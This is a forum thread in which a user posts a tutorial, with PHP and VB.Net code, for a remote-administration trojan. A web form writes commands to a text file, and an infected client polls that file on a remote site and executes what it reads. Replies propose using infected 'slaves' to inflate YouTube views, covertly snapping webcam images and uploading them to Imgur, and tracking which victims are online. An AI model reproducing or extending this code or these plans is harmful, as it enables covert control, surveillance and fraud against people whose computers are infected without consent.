[ΔDemon]

This is a very special tutorial as I haven't seen it anywhere else. I suppose it will be leeched, copied, pasted and everything else, but such is life and this is my contribution.

How does a PHP RAT work?

We have a form which posts data like this:

Code

go.php?command=CommandHere

And we have one form to let the user type in their command:

http://prntscr.com/36wx7

One to say we got it:

http://prntscr.com/36wxc

One text file to store the command, and one file to delete the contents of the text file. So let's go.

What our program does.

You should have a thread, however in this tutorial for simplicity's sake, I'll use a timer.

The timer checks the text file constantly for the command, which is why when we get a new command we go to delete.php to get rid of what we've already read and to conserve bandwidth. Now you may be going "ZOMG ALL THE TIME, THAT'LL KILL MY BANDWIDTH." But you're wrong. The truth is, if we use commands like s:Hello World, which would stand for say hello world. It would still be only 13 bytes at the time it has a command, never mind it not having a command. (0 Bytes.)

So if you do the math, that's if you wish to be astronomical and say 13 bytes a second, which is 780 bytes in a minute, which is 46800 bytes in an hour, that's still only 45.70313 kb an hour, which isn't even a meg! Work it out for yourself if you wish here.

So now that we know how it works, we can begin making it, I'll break the rest into two parts, the client and the server.

The client

Our client just posts a command, you can do this with Commands.php which would look like:

Code

<form action="go.php" method="get">
Command: <input type="text" name="command" />
<input type="submit" />
</form>

So we would also need go.php to take the command and do something with it.

go.php:

Code

The command <?php echo $_GET["command"]; ?> has been sent.

</br>
</br>

<A HREF="javascript:history.go(-1)">You may now want to go back.</A>
<?php

$myFile = "commands.txt";
$fh = fopen($myFile, 'w') or die("File Open Failed.");
fwrite($fh, $_GET["command"]);
fclose($fh);

?>

The top part is just to be fancy and say we got the command, and you can go back now and send another. The second part writes the command to commands.txt, which you would need a blank text file for. So you could use a web browser or web request, or whatever to get the command across and that's the client finished.

The server.

The server is pretty easy too, once we get the command, we split it and we check what it wants, and then we go to delete.php to make the text file blank again.

delete.php:

Code

<?php

$file = 'commands.txt';
$fp = fopen($file , 'w');
fclose($fp);

?>

So we're just making commands.txt blank again. However before we can navigate to delete.php and make it blank, we must first read the command, which will happen like so:

Now if you've ever read Live Message Of The Day by Violent, you'd know that we can download a text file in VB.Net, like so:

Code

Dim W As New WebClient
Dim DownloadedFile As String = W.DownloadString("Site.com/commands.txt")

So that would be on a timer event or thread, constantly checking. So if it isn't blank we need to do something, right?

So once we've got it, we split it, and if the command is say m meaning Msgbox() we show what we received after : in the Msgbox. The reason I used m as opposed to Msgbox in the commands is, it would make the file much larger, ie 7 bytes to 32 or something.

Code

Dim W As New WebClient
  Dim DownloadedFile As String = W.DownloadString("Site.com/commands.txt")
  Dim Command As String = DownloadedFile.Split(":")(0)
  Dim AfterCommand As String = DownloadedFile.Split(":")(1)

  'MessageBox.Show("Command: " & sCommand & vbNewLine & "Variable: " & sVariable)

  Select Case Command.ToLower

    Case Is = "m"

    MsgBox(AfterCommand)

    Case Is = "o"

    'Open CD Tray

    Case Is = "c"

    'Close CD Tray

  End Select

And then we just navigate to delete.php to make the text file blank again.

The code for delete.php is:

Code

<?php

$file = 'commands.txt';
$fp = fopen($file , 'w');
fclose($fp);

?>

I hope you enjoyed my tutorial, and any questions feel free to ask. ^.^

[Chunked]

What were you thinking when you posted this in the VB section?

[ΔDemon]

The actual program would be in VB.Net,for example the checking and the splitting, plus the infecting. PHP alone can't do this.

[Chunked]

The actual program would be in VB.Net,for example the checking and the splitting, plus the infecting. PHP alone can't do this.

Yeah I see now, there's 1/10 of this tutorial in VB. Nvm I guess. 🤣

[ΔDemon]

Even so, if you were to just have the PHP file, nothing would happen. =P All they do is write to and delete a text file which doesn't really get you anywhere alone.

[Dally180]

Do you think it would be possible to make YouTube views like this? Like you put the RAT on heaps of computers then when you want the views you send the URL to them and they view it.

[ΔDemon]

You could just put the link in a text file and have them view the text file, choose the link from the first line, and from the second line how many times to view it or something. You shouldn't delete the link after view though or only one person will get it.

[Dally180]

You could just put the link in a text file and have them view the text file, choose the link from the first line, and from the second line how many times to view it or something. You shouldn't delete the link after view though or only one person will get it.

There must be better ways to talk to VB.NET from a webpage. I will look into it.

[ΔDemon]

Simplicity is best in my opinion. Just a little text file of 30 bytes or so with a link and a number, consisting of two lines. It's not hard to make, it's bandwidth friendly, not a large program, no portforwarding, etc. It works, and it works well. ^.^

[Dally180]

This is giving me allot of ideas for a RAT. Instead of using a txt file you could use a mySQL database.

[ΔDemon]

I thought of that too, yet I'll leave it up to people's imaginations. Here's a cool idea though:

If you get a command to screenshot/take a picture of the cam, you upload it to a site like Imgur or something and add the link to a text file of all the links, ie:

Code

9/25/2011 10:15 AM Webcam picture: Imgur.com/Blahj3h2

I think it's a cool idea. ^.^ Plus it wouldn't be limited to just basic commands, you could go all out.

[Dally180]

I thought of that too, yet I'll leave it up to people's imaginations. Here's a cool idea though:

If you get a command to screenshot/take a picture of the cam, you upload it to a site like Imgur or something and add the link to a text file of all the links, ie:

Code

9/25/2011 10:15 AM Webcam picture: Imgur.com/Blahj3h2

I think it's a cool idea. ^.^ Plus it wouldn't be limited to just basic commands, you could go all out.

With an advanced RAT you have the option to send commands to individual computers instead of all of them at once. I wonder how that could be done. I guess you could add an individual text files to each user and when you want just that computer to do the command, you just put the command in their file.

Is there a way to see if the computers/slaves are online or not?

[ΔDemon]

I suppose when they connect (since the RAT runs 24/7 trying to check the text file) the first time they connect and the internet is turned on, you send a connection message. Sending specific commands could be done with a database I guess. We'd need to look further into the database getting more advanced. ^.^

[Szoki333]

Very nice tutorial! I was looking for this :)

[ΔDemon]

Thank you, and anytime dude. ^.^ Plus if look at this MySQL tutorial http://www.keithjbrown.co.uk/vworks/mysql/mysql_p1.php it looks like it has columns, you can store it in the column next to the user possibly?